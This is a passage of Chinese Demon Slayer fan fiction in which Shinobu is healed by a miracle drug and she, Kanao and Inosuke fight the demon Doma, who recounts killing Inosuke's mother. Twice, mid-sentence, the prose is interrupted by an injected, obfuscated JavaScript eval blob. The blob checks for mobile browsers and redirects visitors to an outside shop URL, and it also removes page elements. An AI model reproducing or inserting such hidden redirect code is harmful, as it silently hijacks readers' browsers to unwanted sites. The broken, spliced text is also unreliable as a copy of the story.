思绪汇聚成万千琴弦,拧在一处,互相干扰,弹拨的声音演奏出的乐曲胜过教堂的管风琴,只是去除唱诗班的合唱,圣歌竟然也变得乏善可陈。数不清的念头同时升起、蓬勃生长,占满所有我思考的阈值。有一个刹那我无法分辨自己心中的想法究竟出自何处,是出于我的本性,还是受了什么影响,但所有的一切最终只凝成一个想法——我必须要保护她! 愤怒是一种养料,滋补人类内心深处最晦涩的黑暗。毫无疑问我的心中同样有着这样一块领地,无法触碰,但波涛汹涌。 恶鬼迈步向忍时步伐踩落在木质桥面,靴子没有发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知是什么意志催动了胡蝶忍勉力站起来,但仅是如此就已经费尽她全部的力气。身体摇晃着随时有摔倒的危险,眼神微微涣散,秀美的面颊上遍布冷汗,脸色苍白如雪、没有丝毫血色,持刀的手无论如何颤抖都没有松开,她身上唯一的生机就是满眼的红。只看了一眼,我的泪水就无法控制地流出,伸手想要去扶住她,但指尖在触碰到已经浸湿她衣裳的血液时下意识顿住,我无法想象衣裳之下的伤究竟有多严重。 而最恐怖的那道伤口,斜着破开她的身体,击断她的肋骨和锁骨,深得伤及脏器。此刻仍然源源不绝地向外输送着胡蝶忍的鲜血。我的手也颤抖起来,搀扶着她坐下时轻唤她名字的声音也抖得不像话,哭腔拉扯着声线随时可能让一切言语化作一声悲鸣。 “忍……”我不断呼唤着她,试图唤醒她的理智,哪怕只让她凝住视线看我一眼也好,但那片紫藤花海化作的眼眸依然雾蒙蒙的。 来不及做更多的伤势处理,从随身携带的挎包中径直取出来世,我遵照着用药指南和学习的医药知识,用针管吸取药液,并竭尽全力让自己的颤抖不那么堂皇。将这支天青色的针剂注入胡蝶忍的体内时,我的心跳带动着双手,每一下我都疑心自己会因为颤抖而失误。“可能会有些疼……”注射完毕,我立刻紧紧抱住胡蝶忍。这是与那道伤带来的疼痛截然不同的感受,来世的摧毁由内向外,打破一切才得来新生,面对越是严重的伤,所产生的痛觉也就越庞大。胡蝶忍的身体素质不如其他柱,但感受到的痛苦却更为夸张。因为来世的药剂进入体内而疼痛得几乎惊坐起,她的理智在瞬间回笼,但思考被疼痛冲散,她的脸在瞬间冲上一阵绯红,雾紫色的眼瞳异常锋利,某种情绪振奋着。胡蝶忍想要去抓挠伤口的举措因为我抱紧的动作而失败,最终双手死死攀着我的手臂,我们仿佛依存着对方的痛苦,但我所感受的一刻又如何去抵消她的经历。 看着那片血红中深可见骨的伤痕正在怪异地飞速愈合,倘若是第一次见到的人恐怕都会为这个场面感到惊惶。先是内里的脏器,藏在皮肉之下寻常不被允许观测的肺部正在翕张,血红色的组织毫无夸张地展现出异常,多处出血随着一个个血泡的冒出变得光洁无恙,它又回到肋骨的环抱之下。而惨白的骨骼沐浴着鲜血,断裂的那部分亦在无声无息中恢复,再次守卫内脏的安好。鲜红的肌肉组织蠕行,织造般生长出新肉,本该流出的鲜血如有生命般涌回伤处,在肌群呼吸似的韵律下,她雪白的皮肤上最终只横亘出一道可怖的疤痕。 只有这样,看到这情景,我才能稍稍安下心确保胡蝶忍的生命暂时已经安全。“忍!胡蝶忍!醒醒!”我叫着她的名字,但泪水仍在流淌,划过腮边,兀自滴落。 一滴冰凉的眼泪落到胡蝶忍的脸颊上。 她的思维和身体都因为药剂的作用而陷入一阵滚烫。那滴泪水是唯一的降温,让她终于脱离内心深处的幻象,睁开眼看向正抱着她的有栖川朝和。她从没见过她这样失态的样子,哪怕是那一次、炼狱先生受伤那次,她赶去医院见到的也已经是脱离生命危险的炼狱先生和守在床边的朝和。胡蝶忍发现自己似乎从没想过有一天有栖川朝和会为自己哭泣,她向来美丽动人的脸上此刻只有悲伤,千岁绿的眼睛深如幽潭,但泉水只顾着向外冒出。她紧紧抱着自己,身体轻颤,唯有这样才能互相感受到对方的存在。让胡蝶忍想到当初紧紧抱住姐姐的自己。 姐姐当初就像这样无力地躺在自己怀里,气息渐弱、声音难以听清、合上双眼,最终在自己的怀里离开。无论自己用多大的力气,都无法再将她从永恒中唤醒,自此也成为了自己这一生最大的悲痛……但,当时的她有像朝和这样悲痛地落泪吗?被愤怒与仇恨遮蔽的心灵早已经想不起那些无关紧要的细节,唯一清晰的只剩下姐姐最后的样子与自己无能为力的弱小。 朝和…… “不要哭啊……”从疼痛中醒来,胡蝶忍努力撑出一个笑容,说的第一句话却是安慰。也只在这时候,她才看见那满溢的伤悲陡然化作惊喜,朝和也跟着露出笑来,但她脸上未来得及收敛的难过与这笑混杂在一起,叫她可爱的笑容来不及展现又变成一滴新的泪珠。 虽然做不出恼怒的表情,但她愤愤的声音饱含着哭腔:“你知不知道我要被你吓死了!”她一边说着一边从包中取出药剂,胡蝶忍被她扶着坐起,温顺地借着她的手饮下恢复药剂。 来世,这种药剂实在是太神奇了。胡蝶忍先前不曾见过它起效的样子,但她看到过炼狱杏寿郎身上那个伤疤。如今感受着药剂在自己体内游走作用,竟然一时间不知道要如何形容。伤口已经完全复原,疼痛的感觉缓缓散去,呼吸法运作的速度变得更快,快得超乎寻常,她能够听清自己的血液在血管中流动的声音,心跳踩着迅疾的鼓点将它们传输出去,浪潮般裹挟着力量拓宽身体的机能。 身体很热,像在发烧。 她还有最重要的事没有做完,胡蝶忍握着刀站起来,她看看朝和,又看向前方。缠斗着的三人皆在第一时间就发现了她的变化,微弱的气息不再,降临在她身上的变化堪称奇迹,香奈乎的惊喜,伊之助的战意澎湃,还有——童磨的不可置信。他这会儿看起来略显狼狈,但并没有受太大的伤,看来是时间还不够…… “离远一些,朝和,到安全的地方去。”她侧过头轻声嘱咐,抬起刀。 她从未感觉过的庞大力量正充盈着身体的每一个细胞,足以支持她即将要做的每一个动作。这是绝无仅有的机会,胡蝶忍必须牢牢把握,脚掌前点地面微微踩实,身体前屈——虫之呼吸·蜈蚣之舞·百足蛇腹——用比先前每一次攻击都更快的速度踏出,虫之呼吸运转到极致,将所有的力量全部调动,弯曲每一次踩踏落点的位置,靠近的动作隐藏在身形移动中,产生的风来自四面八方,让自己变得难以捕捉。 香奈乎和伊之助瞬时领悟了她的意图,两人侧身让出位置,却用攻击将童磨逼得无处可退。 两柄金扇挥向不同的方向,一道攻击向伊之助,一道攻击向正前。但战斗之中他没能猜准胡蝶忍的位置,锋利的弧光只划破胡蝶忍飘起的羽织一角,碎裂的布料中她的身影闪烁。 突进! 然后。 由下往上! 刺出刀尖! 日轮刀将童磨死死钉在天花板上,他诧异地瞪大双眼,彩色的瞳仁不住地震颤着,愣神地凝视着胡蝶忍的面庞。 那张美丽的含着无尽愤怒的面孔唯独此时正一心无二地看着他,他未曾察觉疼痛似的绽出一个兴奋的笑容,他不觉张开双臂,仿佛想要将胡蝶忍拥入自己的怀中。 但不等他的妄想实现,胡蝶忍抿紧嘴唇,已经抽刀翻身落下,绣有蝴蝶翅膀纹路的羽织在空中翻飞,她正像一只展翅的蝴蝶,用自己的美丽隐藏自己的剧毒。 如同蝴蝶翅膀的斑纹展翅在她的脖颈处。 69. 花 【你生气了吗?】 记忆中炭治郎直白地向自己发问的样子翩然浮现,胡蝶忍不由握紧了手中的刀。即使平日里如何用平静与微笑来掩盖自己的真实想法,到了这会儿也没必要再不坦诚了。 是啊,她生气了。 一直以来——父母被鬼杀害了,得到岩柱的救助后活下来的姐姐和她怀揣着恨意加入鬼杀队,发誓要用自己的力量去灭除恶鬼、拯救更多的人;剑术上的修行天赋她远不如姐姐,但只要她们俩一起,没有什么困难是无法解决的。本该如此……直到姐姐也被鬼杀害了,除了香奈乎之外的其他继子也都死在鬼的手下,血色每一天都在上演,而自己竟然无能为力。 当然生气了!为什么自己不能更强大一点!为什么自己不能砍断鬼的脖子!为什么……毒药对他完全没有作用啊!为什么!可恶! 胡蝶忍能够听见愤怒的火焰无时无刻不在喧嚣,燎烫的焰色把她的心都烘得的滚烫,仇恨浸没她的心神,将她的灵魂熬成一锅沸腾的毒汁。 事实上她早已有了应对的办法。 毒药的研究总需要试验品,胡蝶忍的试验品就是她自己,在长达一年多的时间里,日复一日地利用自己试药,让自己浑身上下乃至于每一滴血都饱含着藤花的毒素。 从姐姐那里得到的情报,又在珠世那里加以验证,身为上弦之二的童磨是一个对于吞噬女性异常执着且难以满足的恶鬼。年轻美丽的女性对他而言自然是一道佳肴,但体能高强、拥有呼吸法的柱,更是上品的选择。也就是说,她——虫柱胡蝶忍,对于童磨而言没有不吃的理由。 那么,战胜他的首要条件就可以被这样设置——只要她被童磨吞食死去,就可以充分利用存在于自己体内的藤花毒素,毫无困难地让他中毒了。这是远胜于她的刀所能注入的毒素量,等同于自己全部的体重。即使那个鬼的身体机能一次性能够解除50毫克的毒素,那么千倍、万倍、十万倍呢?他还能够那么轻易地消解毒药的存在吗? 就像太阳是鬼无论如何进化都不能抵抗的致命弱点,紫藤同样是可以杀死他们的重要因子,鬼要怎么克服这个弱点?如果真能在短时间内做到,那么又何须数千年的躲藏呢? 再加上…… 主公大人对于全局的谋划无疑在他们的眼界之上,他考虑到更为全面的内容,针对性地提出了全新的合作方案:那个鬼,那个曾经出现在有栖川朝和与灶门炭治郎口中、被叫作珠世的鬼。胡蝶忍最初并不认同与她合作的决策,但在主公的解释之下,她最终接受了现实,并且尝试与珠世协作研发。 珠世想要研究出能让鬼变回人类的药物,一旦有了这种药物,无论是对于鬼的剿灭还是对于被咬伤的人类的救助都会变得更容易。 胡蝶忍为此提供了自己这些年来的全部研究数据,她的毒药可以在短时间内麻痹鬼、并使他们变得虚弱,虽然没有在更为强大的上弦之鬼身上进行过测试,但为珠世的研究提供了一个方向。 那段时间朝和经常前来寻找她。有时候一大早就踩着晨露来到蝶屋,跟随着她前去寻找珠世进行研究;有时候熬过夜月升起也要守在她们边上不肯离去。现在想想,除了担心她和珠世的相处,是不是在那时朝和就已经发现了什么呢?那之后有栖川家名下的药物研究变得紧迫起来,大量的药物被送到鬼杀队,其中不乏有助于她和珠世的研究的。也是从那时起,她看向自己的眼神也总带着忧心忡忡。 抱歉啊朝和…… 胡蝶忍微微合眼,在她计算好的一切里,唯独朝和会被牵扯进战局这件事是意料之外。如果让她亲眼看到自己被鬼吞食的样子,究竟会对她造成怎样的伤害呢?胡蝶忍也说不上来,有栖川朝和与别的任何人都不同,他们是因为仇恨聚集在一起的,复仇是讨伐恶鬼最初的动力,而她的加入却是因为爱。她的爱纯澈无私,怀揣着对未来的美好期盼与对他们的信任,促使她走入鬼杀队中,肩挑起本不应该由她承担的责任。 或许初见那天,自己主动上前搭话也是冥冥之中得到的指引。从在主公宅邸第一次见到她俏皮地捉弄了富冈先生开始,她们的命运也互相牵连。直到她为研究药物前来拜访,胡蝶忍才发现这位仅仅一面之缘的小姐原来在她的脑海中如此清晰,自在地跳出那个午后,优雅地立在自己面前,行礼致意,那之后在蝶屋的每一天,胡蝶忍都期盼她的到来。 朝和的感情从不遮掩,也无须遮掩。无数次失去的经历让胡蝶忍犹豫再三,但永远抵不过她主动牵起自己的手。如果自己真的伤害了这份珍贵的喜爱…… 这是胡蝶忍同样不愿看到的。 谁又会真的希望自己死去呢?当死亡成为唯一的方法时,胡蝶忍可以坦然地走入黑暗,因为黑暗的尽头她的家人们正在等待她。 但有栖川朝和点亮了她的前路,用她的真诚和努力、不畏险阻地固执地点亮胡蝶忍的前路。只为了告诉她:站起来。要好好地、一起活下去,活着看到属于她们所有人的最后的结局,这必然也是她的家人们所希望的。 到那时,她们一起沐浴阳光,一定会很幸福。 胡蝶忍握紧手中的日轮刀,她的刀每次能注射的毒素对于童磨而言毫无杀伤力。但这个危险又卑劣的鬼永远不可能知道,这是得到她和珠世的共同研究而突破的成果,一种无法被鬼分解的毒。这些毒素会短暂地被鬼强大的恢复能力压制效用,潜藏在他体内,随着鲜血的流动环游每一处。数次毒药的注入,只是在加剧毒素的积累,筹备着最终的时刻。 而引爆这毒药功效的引线……胡蝶忍看着自己胸口已经愈合的伤,淋漓的鲜血还未完全凝结,痛意仍在泛滥,但她恍若未觉。 让那些毒素发挥真正效用,让无论多强大的鬼都变得虚弱、无力,甚至变为人的药引,不是别的,正是她的血! 冷得仿佛空气都要冻结。 毫无准备地,鎹鸦的声音忽然响起。飞旋在这片混乱的空间之中的鎹鸦们纷纷将消息传递而来。 “炭治郎!义勇!击败上弦之三!” 室内的气息瞬间死寂。 众人不禁怔住,互相对视,疑心自己是否听错了。但又一声鎹鸦的叫声响起,仍是那个结局……上弦之三?猗窝座?那个差点把炎柱炼狱杏寿郎杀死的猗窝座?竟然死了…… 一直以来鬼杀队内坚信上弦之间存在着森严的差距,且越往上攀爬,差距只会比憎珀天和玉壶之间的区别更巨大。但现在,上弦之三死了?毫无疑问,虽然鬼之间存在着差距,但上弦并非无法杀死,身为上弦之三的猗窝座会死,身为上弦之二的童磨也会死! 比起鎹鸦的传声,鬼之间自有一套连系,童磨更先感觉到猗窝座的死亡,他微微出神,不太理解似的重复道:“咦?猗窝座阁下死了?”他的表情变得疑惑,似乎在深思着什么,但到底没困扰太久,又自顾自天真地笑起来。彩色的眼眸巡视过四周,定格在香奈乎和忍的身上,“说起来啊,猗窝座阁下绝对不吃女人呢。” “明明我都和他说了,女人的血肉更有营养,更有助于他变强,可是猗窝座阁下不仅不吃女人,还不杀她们诶!”他的声音因为不赞同而显得低沉,“这么任性的行为,那位大人竟然也默许了。猗窝座阁下可是受特殊待遇的哦!” 原本高昂的声线毫无缘由地刹住,陡然下坠,散入一片阴霾,方才还笑得兴高采烈的男人低垂着眉眼,他比世间一流的演员还要善于演绎,无需任何准备与举措就倏地落下泪来,满脸的悲痛:“但是……他居然死掉了……太伤心了!” 童磨情真意切的泣音散在语句之中:“他可是我最好的朋友……” 听着却只令人作呕。 “够了!”香奈乎平静地打断恶鬼的独角戏,“你不必满口谎言了!” “什么?”还在流着泪的鬼脱出自己的演绎,不解地用金扇挡住自己勾起的嘴唇。 “你并没有感到悲伤吧?丝毫没有。”香奈乎面无表情,鬼的身体机能与人类确实大有不同,无需眨眼也能保持眼睛的湿润,但鬼同样有着心跳,血液一样循环,生理的反应无法骗人,流下泪并不代表悲伤,“香奈惠小姐临死前说了,她很同情你。” “因为你什么都感觉不到。” 童磨的表情逐渐僵住。 但香奈乎并没有要停止攻击的意思,常年来很少表达内心的少女一直藏在心中的话等待着的就是这个时机,她不吐不快。“人在这世上经历的所有感情,你都无法理解吧?虽然你很聪明,撒谎掩饰,为了不暴露自己内心毫无波澜的真相,佯作欢颜,假充悲痛,但事实上这所有的感情都与你五官、你的内心一样空空如也、一片虚无。” “你的演技真是滑稽,”香奈乎露出一个可爱的笑容,天真地发问,“你,究竟为什么来到这个世上?” 阴冷的气息在眨眼间充盈这间和室,他的脸色阴沉无匹,已经完全看不出方才那健康的样子,称得上俊美的脸这会儿看着异于常人,只剩下一对彩色的眼睛熠熠生辉。现在,任谁都能感觉到他的愤怒,这是见到他以来,我们从他身上感到的唯一真实的情绪。“你还真是一个坏心眼的孩子,”被撕裂伪装的感觉想必对这位绝顶演员来说很不好受,温柔的声线浸没入愤怒,失去掩饰的力气,“为什么要说那么过分的话?” 一直沉默着的伊之助忽然哈哈大笑起来,“好笨!他哪里聪明!竟然还问为什么!”伊之助隔着自己的皮毛打量面前阴森的恶鬼,果决地宣布真相:“当然是因为她讨厌你!恨不得立刻马上杀了你!” 在真正的寒冷中原来时间也会被凝滞,没有运转呼吸法的能力,得到忍的启示后有栖川朝和躲得很远,但对于身体的感受却依然清晰,无论是他们战斗时的压迫感,还是童磨在心态被摧毁的这瞬间气息的改变。也或许正是因为她躲开了战斗的范围,可以专心致志地观战,才让大脑接收到的一切信息变得更加全面,视线甚至捕捉到童磨骤然向香奈乎发难的瞬间。 黄金色的扇子张开,随着他鬼影般的身形在空中划出一道金线,直击向香奈乎的身后。处于斑纹开启状态的忍固然拥有实力的提升,但重伤初愈与来世的药效后遗症无疑是两个埋伏的弱点。她来不及赶上,提起的刀尖顺着虫之呼吸的旋舞只足够划破童磨的手臂。 “不要吸进他扇子挥出的结晶!”忍大声提醒道。 ——铛! 兵戈相撞的清脆声音响起。 挡下这一击的是伊之助,被自己砸碎的刀刃卡住扇叶,逼迫童磨无法让步的瞬间,由及时反应过来的香奈乎猛地挥刀砍向他的腹部,锋锐割破肌理的阻隔,鲜血飞溅,一直以来藏在这个恶鬼腹中的鲜红的肠子噗地顺着打开的裂口掉了下来,坠着摇晃。因受到攻击,童磨反击的动作慢了……也或许是香奈乎的动作变快了?他若有所思,舔尽自己口中溢出的鲜血后平静地把肠道塞回肚子里,鬼的恢复能力可以瞬间让这道伤消失,皮肤上连一丁点疤痕都不会留下。 就这样,他毫无芥蒂地笑起来,手中的动作却未停,手臂像指针甩出,挥舞扇子逼近香奈乎,冰凌凝结,弯曲如绸缎般一次又一次袭向她。 花之呼吸运转,奇异的是香奈乎每次都能避开他的攻击。 与此同时,忍和伊之助也在童磨与香奈乎缠斗的同时发动呼吸法砍向他。 “原来如此,你的眼睛……”看出端倪的童磨挥扇时用血鬼术召唤出两个冰晶凝结成的女子,两张别无二致的柔美面庞闭着目,一个朝向香奈乎,一个则朝向忍和伊之助,在童磨的笑意中朝着她们吹吐寒气,卷起一阵巨大风暴。风暴之中,无数的晶莹剔透的玄冰冬柱从天而降,向着她们坠下,让她们毫无躲藏之地。 诚然,不靠近就砍不到脖子,砍不到脖子就永远无法结束战斗,但为了躲避冰风暴,她们此刻都避得远了。发现香奈乎的实力要胜过忍后,童磨的注意力就更多地集中在香奈乎的身上,身影在众目睽睽之下瞬间消失,众人来不及思考,就见童磨再次出现。他还站在原地,似乎没有离开过,只是香奈乎惊恐地看着自己空空如也的双手。 她的日轮刀——提着它的鬼则满意地笑起来:“看吧,你没握好所以被我顺走了。” 将日轮刀插在自己面前,“快来拿吧!”童磨挥动扇子,吹起一阵冰作的莲华,铺天盖地地蔓向香奈乎。 ……找不到,破绽…… 但。 几股风流汇聚,伊之助忽地从天而降,使用兽之呼吸将面前的冰莲卷碎。原来在童磨召唤的冰晶女子吹起风暴的同时,伊之助就凭借自己的速度与直觉跃上天花板,伺机等待着反击的时间。“决斗决斗!”他举起双手挥动手中的刀,“这正合我意!” 得到指引撞进这间房间,看到忍受重伤、无法动弹的样子时,伊之助就听见自己内心的喧嚣。他好像从前从未有过这样的感受,甚至连血管中流淌的每一滴血液都在向他发送着讯号。但脑袋却意外的平静,浮现出受伤后被忍包扎安慰的场景,他们拉钩一言为定,忍对他温柔包容地笑着。 无法接受。伊之助瞪视着面前若无其事的恶鬼:“咬杀你!渣滓!” 伊之助的剑术向来毫无章法、全凭心意,初次见识到这样剑道的人只会觉得乱七八糟。但无论怎样,对于伊之助而言,兽之呼吸就是最适合他、对他而言也最完美的剑道。他的身影轻快如闪电,无声地掠过,当眼睛看到他靠近时,事实上他已经到达面前。逼近童磨所在的位置,伊之助双刀交错,凝练出风刃,从四面八方袭向童磨。 对于上弦之二来说,只论杀伤力确实不够看的,但是面对童磨反击的动作时,伊之助向来引以为傲的柔韧性在半空中就发挥了功效,他的身体神奇地滞空旋转躲过锋利的扇叶,抬脚踢开童磨的手,最终安然无恙地落地在香奈乎身边。 “那颗脑袋是头套吧……”话音未落,童磨惊讶地看着伊之助将日轮刀递还给香奈乎。这次他没再掩饰,几乎在下一次眨眼就欣喜地跳到伊之助身旁,“好快啊,我都没发现。”兽之呼吸带动流风,与童磨生成的冰凌交错,柔风拂过消融危险,伊之助翻身踩在童磨胸口,用力一脚将他踹开,他则借势腾翻一圈后落地,人才刚站稳,动作却不停,隔着较远的安全距离依然毫不犹豫地挥刀而出。 够不到的吧?大家都是这么想的。 但事实是,银光闪烁,童磨的面孔被锋利的刀刃一分为二,生生切开眼睛,血液溢出,将他的脸染成一片。 将手臂关节卸下后攻击成功的伊之助在众人瞠目结舌的注视中用力甩臂恢复原样,他不高兴地感叹自己的新招精度不够,全然没注意到香奈乎见鬼般不相信的表情。 唯独童磨却愉快地笑了起来,不知意味是赞赏还是讽刺。 猪鼻子喷吐出一阵气,伊之助正说着话,话还未说完,他貌若好女的漂亮面孔乍然暴露在光线之下。没有人看清究竟发生了什么,哪怕伊之助自己也是在意识到头套消失才后知后觉地摆出攻击的阵势。 那颗栩栩如生的头套正落在童磨手中,他好奇地打量着皮毛的光泽,猜测眼球的加工工艺,自然得如同检视自己的收藏,直到听见伊之助愤怒的声音,才漫不经心地将视线移到伊之助的脸上。 “咦?你这张脸好像……”童磨弯起嘴唇,“似曾相识呢!” 他笃定地问道:“我们在哪里见过吧?” 但得到伊之助激烈的驳斥:“我可不记得见过你这种蛆虫!别拿脏手碰我的毛皮!”漂亮的面孔因为愤怒而显出凶相,碧绿如宝石的眼瞳瞪大了,脸颊边青筋轻跳。他没见过这个混蛋!在他的意识里,有那种似曾相识的感觉的人——是忍!每当看见忍微笑的样子,总觉得好像在哪里见过,一直想要问问她的…… 伊之助的面容生动而富有活力,只要看着他,心情就会被他感染似的牵动起来。他唯独有着一张过分美丽的脸,那么美丽的脸…… 童磨将手指钻进头颅,在记忆中来回搅拌,从漫长生命之中寻找着熟悉的画面。 “啊——”时间被调拨至十五年前,原来才十五年,并不算很久,童磨把弄着猪头头套,“找到了!” 那是十五年前的一个雪夜。一个十七八岁的女孩儿抱着一个婴儿踽踽独行,穿过漫天飞雪的深晦,走进童磨创建的万世极乐教。那个女孩说自己每天都被丈夫殴打、婆婆欺负;她单薄的和服之下满身的伤,饱受欺凌。这个可怜的女孩没有父母兄弟,无人可以依靠,也无处可去,而万世极乐教会收留保护这些可怜人。 “那张脸,和你一模一样,不过五官更秀美,表情也更温柔。她就是你的母亲吧?”童磨张开金扇,挡住些许面容,但已经确定自己的认知。他的记忆一向很好,这绝对错不了。 用温柔的嗓音说出的真相足以叫天地倒悬,在一瞬间将所有人带进十五年前大雪纷飞的夜晚。那是伊之助全然未知的事实,他尚且是襁褓中安眠的婴儿,躺在母亲温暖的臂弯,碧绿的眼睛记不住任何事。他出神地看着童磨,分辨着他话语中的细节,立刻勃然大怒地反驳:“我没有什么母亲!是野猪把我养大的!”他放大声音,用声响掩盖内心的一切,“跟她无关!” 真的跟她无关吗? 没有给大家,也没有给自己留出准备的机会,他猛然起身,挥着刀砍向童磨。刀刃的利齿咬向彩色的鬼,卷起风刃依托着身形,一阵一阵更快地冲着童磨劈下,刀刃上闪烁过银光,洗下鲜红,击碎坚冰,砸出声势浩大的撞击,一下一下,无一不在无声地对世界彰显伊之助的无所谓。对于母亲的无所谓,对于身世的无所谓,对于自己不记得的那一切的无所谓。没能在大脑里留下的,不是抛弃了他,而是被他抛弃。 轻松躲开少年的攻击,童磨啧声,面不改色地扇动金扇将锋芒化作两道交错的攻击砍中伊之助的前胸,裸露在外的皮肤瞬间鲜血淋漓,将他击落进池水,童磨语气里带着点可惜,又像在感慨:“好歹听人把话说完啊!这样的因缘际遇并非奇迹。” “我那时并没有打算把她吃掉哦。”童磨看着伊之助受伤的惨状,回忆着那段岁月:“她经常抱着你唱歌呢,不知为何不是童谣而是勾指起誓的歌。” “拉钩——上吊——一百年——不许变……尽给你唱这些。”他摇摇头。 【拉钩上吊——一百年不许变——】 【让我来守护你吧,约好了!】 【直到你长大成人为止。】 “每次拉钩立誓的歌词都不一样呢,有时候还会突然变成狸猫歌之类的,真是可爱呀。”随着回忆的深入,那些原本已经藏在记忆深处的画面逐渐清晰,变得缤纷无比。少女哄着孩子的轻声吟唱如在耳畔,那段温婉的嗓音与那张美丽的面庞,一切显得岁月静好。有个蕙质兰心的美丽女人陪在身边,那不是无论如何心情都会很好吗?琴叶有一张美丽的脸,歌唱得很好听,哄孩子的样子也很温柔,有她在身旁,童磨从不觉得厌烦、吵闹。 伊之助无措地看着自己的手。不是忍……脑海中模糊的印象伴随着温柔的感受,融化在心里让一切变得软绵绵的,他一直以为是忍的,还想找个机会问问她…… “本来打算到寿终正寝为止都把她放在身边不吃的。”童磨回忆起记忆中自己的感受,刚开始的时候确实度过了很舒适的一段时间,可惜,她不够聪明。有些可惜地摇摇头,童磨合上扇子挡在唇前,扇叶收起的锋芒都集中到他的双眼之中,那几个字缩小了些,瞳仁的彩色扩散,晕出更多非人感。 “结果你的母亲……哦,名字是叫琴叶来着,她脑筋虽然迟钝,人却很敏锐。”太清晰了,相似的面孔在视线中重叠,有那么一刻童磨恍然中看到琴叶站在面前,她小心翼翼地走进他身处的广间。“我吃信徒的事被她发现了,无论怎么解释都无法理解我的善行。”声调下坠,童磨蹙起眉,这应该是他漫长生命中第一次想要解释什么,但琴叶没有听,“还唾骂我是骗子,抱着你飞奔着离开了寺庙。” 那是一个与平日每一天都别无二致的深夜。 上弦月弯弯的一钩。 琴叶抱着襁褓中的孩子在深林中拼命地跑、拼命地跑,但从没有离开过的她根本找不到正确的路途,反而在漆黑的密林中迷路了。 要追上她轻而易举,她身上熏染着的莲花香顺着风一直被吹得很远很远。直到她跑到路的尽头,高悬的山崖明白地告诉她已无路可走。她回头看来时的路,满脸的泪。“在被我杀死前,她把你扔下了山崖,”童磨眼含热泪,“到死都是个笨丫头。” “我的……母亲……”伊之助剧烈地喘了下,“被杀死了……” “当然,我把她吃掉了。”一副理所应当的样子,童磨轻轻叹息,“本来就无处可去,回到家的话会被丈夫打死吧?一个人又束手无策,没有我也会母子俩一起曝尸荒野。” “琴叶真是命运多舛啊,她有过幸福的时刻吗?”弯起嘴唇,自那两片鲜红的唇瓣之间,恶鬼独有的尖利牙齿露出惨白。他的声音倏地高昂,咏唱般悬在空中,又毫无准备地突地坠下,压低着声音,冷静地总结:“简直是毫无意义的一生。” 满是讽刺。 不等伊之助做出什么反应,听清话语的香奈乎应激般厉声呵斥道:“给我住嘴!你这贱种!” 母亲拥抱自己的感觉应该是很温暖吧?软软的、柔柔的、让人轻飘飘的……伊之助从前想象过这种感觉,但在他空白的记忆中,哪怕跟着野猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613467|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在山林中长大的记忆都比幻想来得更真切。甚至让他的想象变得可笑。他一直以为自己是被母亲抛弃的。不然为什么他没有母亲?从有记忆开始,便能够感受到饥饿,从爬行到蹒跚学步,晒过的太阳、淋过的雨、遇到过无数次危险,有那么多时候他曾希望母亲能够出现,但一直没有。他是被野猪抚养长大的。 池水并不温暖,甚至带有寒意,但自己浸泡在其中的时候,身体却仿佛终于想起了那些久远的记忆。被无路可逃的母亲最终扔下山崖时他坠入湍流,原来水液的流动就像母亲的怀抱。好温暖啊。 【我的伊之助,能和你在一起真幸福。】 原来…… 原来他不是被母亲抛弃的。 母亲一直存在于他的身边,拥抱他、陪伴他、守护他……拉钩上吊一百年不许变,母亲的守护直到她的生命结束,直到他的生命结束。 这样的因缘际遇,明明就是奇迹。 “伤害同伴、杀死母亲的鬼,竟然近在眼前!”这种感受又叫作什么?燃烧的除去愤怒还有什么,在他的意识中哗然,填满每一道缝隙,嘶吼着决心,一定、一定要让面前的这个恶鬼付出代价!他摧毁了他们的生活,自己却不堪地活着,还要讽笑铭记仇恨的他们。伊之助冷肃着脸,握紧拳头,浑身的力气充盈起来,鼓动血液,这是从深林的严苛规则之中活下来的野兽之子所存有的战意,敏锐而强大的心会为他永远摇动旌旗:“我要谢谢你让我想起来……” 伊之助呐喊道:“光砍头不够,我要让你下地狱!” 从未真正从童磨脸上消失的笑脸直到听见这句话才瞬时收敛,他闭上眼,手贴在自己心口,教化冥顽不灵的民众般悲悯:“这世上不存在天国与地狱。” “这些都是虚构的,在这个世界上,善良的人也会遭遇不幸的变故,恶人却逍遥度日。天罚是无妄之物,若是不安慰自己恶人死后会下地狱,那心里怎么受得了?”他摇晃着扇子,摆弄着猪头头套,脱离万世极乐教的教义,或许这才是他真正的内心想法,“我愈发觉得,人类真是可悲呢。” “闭嘴!!”兽之呼吸发动,人类之间弯弯绕绕的东西太多了,看一眼就像身陷乱麻,他不需要思考,野兽般的直觉带给伊之助更为敏锐的观察。横直刀锋,踩着风冲向童磨,“如果没有地狱的话,我就造一个给你下!” ——不准把他的母亲说得那么悲惨! 童磨掀起一阵云雾,刺骨的凉意被笼在其中,顺着扇子的风向朝着伊之助拂去,冰雾盛开,升腾得极快,眨眼间就遮蔽了眼前的视线。被这片白雾沾染到的话,皮肤都会被冻住!伊之助旋转起双刀,锋芒圆旋,竟然将雾气卷开,反扑向童磨,他的视线也有了一瞬间的阴覆。这时,香奈乎发动花之呼吸从他的身后劈出,最终目标是他那根细长的脖颈。刀刃带着凉意划过,高速的动作将雾气拢成刃上擦过的水光,童磨惊险地伸手用扇子挡住了香奈乎攻击的动作。 但,灯下黑。 胡蝶忍故技重施,踏着百足的步法,已经掠至他身前,刀尖迎来,狠狠刺入童磨的身体。除了毒素,刀刃之上还有胡蝶忍的血。 战势混乱,自然是很有趣的,童磨却没有心力继续,他挣开胡蝶忍,趁着另二人的攻击还未至,立时反身跳开。 